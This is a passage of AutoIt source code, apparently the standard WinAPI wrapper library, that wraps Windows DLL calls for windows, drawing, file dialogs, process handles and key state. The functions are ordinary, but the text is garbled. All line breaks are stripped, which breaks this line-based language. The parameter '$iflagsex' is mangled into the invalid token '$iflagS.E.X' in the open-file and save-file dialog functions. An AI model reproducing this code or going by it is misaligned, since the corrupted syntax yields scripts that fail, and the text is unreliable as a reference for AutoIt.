@extended, False) Return $aresult[0] EndFunc Func _winapi_deleteobject($hobject) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroyicon($hicon) Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroywindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags) Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate) Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawicon($hdc, $ix, $iy, $hicon) Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3) Local $ioptions Switch $iflags Case 1 $ioptions = $__winapiconstant_di_mask Case 2 $ioptions = $__winapiconstant_di_image Case 3 $ioptions = $__winapiconstant_di_normal Case 4 $ioptions = $__winapiconstant_di_compat Case 5 $ioptions = $__winapiconstant_di_defaultsize Case Else $ioptions = $__winapiconstant_di_nomirror EndSwitch Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2) _winapi_moveto($hdc, $ix1, $iy1) If @error Then Return SetError(@error, @extended, False) _winapi_lineto($hdc, $ix2, $iy2) If @error Then Return SetError(@error, @extended, False) Return True EndFunc Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags) Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions) Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[4] EndFunc Func _winapi_enablewindow($hwnd, $fenable = True) Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_enumdisplaydevices($sdevice, $idevnum) Local $tname = 0, $iflags = 0, $adevice[5] If $sdevice <> "" Then $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]") DllStructSetData($tname, "Text", $sdevice) EndIf Local $tdevice = DllStructCreate($tagdisplay_device) Local $idevice = DllStructGetSize($tdevice) DllStructSetData($tdevice, "Size", $idevice) DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1) If @error Then Return SetError(@error, @extended, 0) Local $in = DllStructGetData($tdevice, "Flags") If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1) If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2) If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4) If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8) If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16) If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32) $adevice[0] = True $adevice[1] = DllStructGetData($tdevice, "Name") $adevice[2] = DllStructGetData($tdevice, "String") $adevice[3] = $iflags $adevice[4] = DllStructGetData($tdevice, "ID") Return $adevice EndFunc Func _winapi_enumwindows($fvisible = True, $hwnd = Default) __winapi_enumwindowsinit() If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow() __winapi_enumwindowschild($hwnd, $fvisible) Return $__gawinlist_winapi EndFunc Func __winapi_enumwindowsadd($hwnd, $sclass = "") If $sclass = "" Then $sclass = _winapi_getclassname($hwnd) $__gawinlist_winapi[0][0] += 1 Local $icount = $__gawinlist_winapi[0][0] If $icount >= $__gawinlist_winapi[0][1] Then ReDim $__gawinlist_winapi[$icount + 64][2] $__gawinlist_winapi[0][1] += 64 EndIf $__gawinlist_winapi[$icount][0] = $hwnd $__gawinlist_winapi[$icount][1] = $sclass EndFunc Func __winapi_enumwindowschild($hwnd, $fvisible = True) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child) While $hwnd <> 0 If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowschild($hwnd, $fvisible) __winapi_enumwindowsadd($hwnd) EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd EndFunc Func __winapi_enumwindowsinit() ReDim $__gawinlist_winapi[64][2] $__gawinlist_winapi[0][0] = 0 $__gawinlist_winapi[0][1] = 64 EndFunc Func _winapi_enumwindowspopup() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) Local $sclass While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then $sclass = _winapi_getclassname($hwnd) If $sclass = "#32768" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolbarWindow32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolTips_Class32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "BaseBar" Then __winapi_enumwindowschild($hwnd) EndIf EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_enumwindowstop() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_expandenvironmentstrings($sstring) Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096) If @error Then Return SetError(@error, @extended, "") Return $aresult[2] EndFunc Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons) Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_fatalappexit($smessage) DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_fillrect($hdc, $ptrrect, $hbrush) Local $aresult If IsPtr($hbrush) Then $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush) Else $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush) EndIf If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_findexecutable($sfilename, $sdirectory = "") Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "") If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_findwindow($sclassname, $swindowname) Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_flashwindow($hwnd, $finvert = True) Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0) Local $tflash = DllStructCreate($tagflashwinfo) Local $iflash = DllStructGetSize($tflash) Local $imode = 0 If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption) If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray) If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer) If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg) DllStructSetData($tflash, "Size", $iflash) DllStructSetData($tflash, "hWnd", $hwnd) DllStructSetData($tflash, "Flags", $imode) DllStructSetData($tflash, "Count", $icount) DllStructSetData($tflash, "Timeout", $itimeout) Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_floattoint($nfloat) Local $tfloat = DllStructCreate("float") Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat)) DllStructSetData($tfloat, 1, $nfloat) Return DllStructGetData($tint, 1) EndFunc Func _winapi_flushfilebuffers($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments) Local $sbuffertype = "struct*" If IsString($pbuffer) Then $sbuffertype = "wstr" Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments) If @error Then Return SetError(@error, @extended, 0) If $sbuffertype = "wstr" Then $pbuffer = $aresult[5] Return $aresult[0] EndFunc Func _winapi_framerect($hdc, $ptrrect, $hbrush) Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_freelibrary($hmodule) Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getancestor($hwnd, $iflags = 1) Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getasynckeystate($ikey) Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getbkmode($hdc) Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getclassname($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, False) Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getclientheight($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getclientwidth($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getclientrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getcurrentprocess() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentprocessid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthread() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthreadid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcursorinfo() Local $tcursor = DllStructCreate($tagcursorinfo) Local $icursor = DllStructGetSize($tcursor) DllStructSetData($tcursor, "Size", $icursor) DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor) If @error Then Return SetError(@error, @extended, 0) Local $acursor[5] $acursor[0] = True $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0 $acursor[2] = DllStructGetData($tcursor, "hCursor") $acursor[3] = DllStructGetData($tcursor, "X") $acursor[4] = DllStructGetData($tcursor, "Y") Return $acursor EndFunc Func _winapi_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdesktopwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdevicecaps($hdc, $iindex) Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage) Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getdlgctrlid($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdlgitem($hwnd, $iitemid) Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getfocus() Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getforegroundwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getguiresources($iflag = 0, $hprocess = -1) If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess() Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_geticoninfo($hicon) Local $tinfo = DllStructCreate($tagiconinfo) DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo) If @error Then Return SetError(@error, @extended, 0) Local $aicon[6] $aicon[0] = True $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0 $aicon[2] = DllStructGetData($tinfo, "XHotSpot") $aicon[3] = DllStructGetData($tinfo, "YHotSpot") $aicon[4] = DllStructGetData($tinfo, "hMask") $aicon[5] = DllStructGetData($tinfo, "hColor") Return $aicon EndFunc Func _winapi_getfilesizeex($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0) If @error Then Return SetError(@error, @extended, 0) Return $aresult[2] EndFunc Func _winapi_getlasterrormessage() Local $tbufferptr = DllStructCreate("ptr") Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0) If @error Then Return SetError(@error, 0, "") Local $stext = "" Local $pbuffer = DllStructGetData($tbufferptr, 1) If $pbuffer Then If $ncount > 0 Then Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer) $stext = DllStructGetData($tbuffer, 1) EndIf _winapi_localfree($pbuffer) EndIf Return $stext EndFunc Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False) $i_transcolor = -1 $transparency = -1 Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $ascolorref Then $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1)) EndIf $i_transcolor = $aresult[2] $transparency = $aresult[3] Return $aresult[4] EndFunc Func _winapi_getmodulehandle($smodulename) Local $smodulenametype = "wstr" If $smodulename = "" Then $smodulename = 0 $smodulenametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getmousepos($ftoclient = False, $hwnd = 0) Local $imode = Opt("MouseCoordMode", 1) Local $apos = MouseGetPos() Opt("MouseCoordMode", $imode) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $apos[0]) DllStructSetData($tpoint, "Y", $apos[1]) If $ftoclient Then _winapi_screentoclient($hwnd, $tpoint) If @error Then Return SetError(@error, @extended, 0) EndIf Return $tpoint EndFunc Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "X") EndFunc Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "Y") EndFunc Func _winapi_getobject($hobject, $isize, $pobject) Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $inulls = 0 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagS.E.X) DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn) If @error Then Return SetError(@error, @extended, $afiles) If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then For $x = 1 To $ipathlen If DllStructGetData($tpath, "Path", $x) = Chr(0) Then DllStructSetData($tpath, "Path", "|", $x) $inulls += 1 Else $inulls = 0 EndIf If $inulls = 2 Then ExitLoop Next DllStructSetData($tpath, "Path", Chr(0), $x - 1) $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(DllStructGetData($tpath, "Path"), "|") ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|") Else Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndIf EndFunc Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False) Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait) If @error Then Return SetError(@error, @extended, False) $ibytes = $aresult[3] Return $aresult[0] EndFunc Func _winapi_getparent($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getprocessaffinitymask($hprocess) Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0) If @error Then Return SetError(@error, @extended, 0) Local $amask[3] $amask[0] = True $amask[1] = $aresult[2] $amask[2] = $aresult[3] Return $amask EndFunc Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagS.E.X) DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn) If @error Then Return SetError(@error, @extended, $afiles) Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndFunc Func _winapi_getstockobject($iobject) Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getstdhandle($istdhandle) If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1) Local Const $ahandle[3] = [-10, -11, -12] Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle]) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_getsyscolor($iindex) Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsyscolorbrush($iindex) Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsystemmetrics($iindex) Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_gettextextentpoint32($hdc, $stext) Local $tsize = DllStructCreate($tagsize) Local $isize = StringLen($stext) DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize) If @error Then Return SetError(@error, @extended, 0) Return $tsize EndFunc Func _winapi_gettextmetrics($hdc) Local $ttextmetric = DllStructCreate($tagtextmetric) Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric) If @error Then Return SetError(@error, @extended, 0) If NOT $ret[0] Then Return SetError(-1, 0, 0) Return $ttextmetric EndFunc Func _winapi_getwindow($hwnd, $icmd) Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowheight($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getwindowlong($hwnd, $iindex) Local $sfuncname = "GetWindowLongW" If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowplacement($hwnd) Local $twindowplacement = DllStructCreate($tagwindowplacement) DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement)) DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement) If @error Then Return SetError(@error, @extended, 0) Return $twindowplacement EndFunc Func _winapi_getwindowrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getwindowrgn($hwnd, $hrgn) Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return 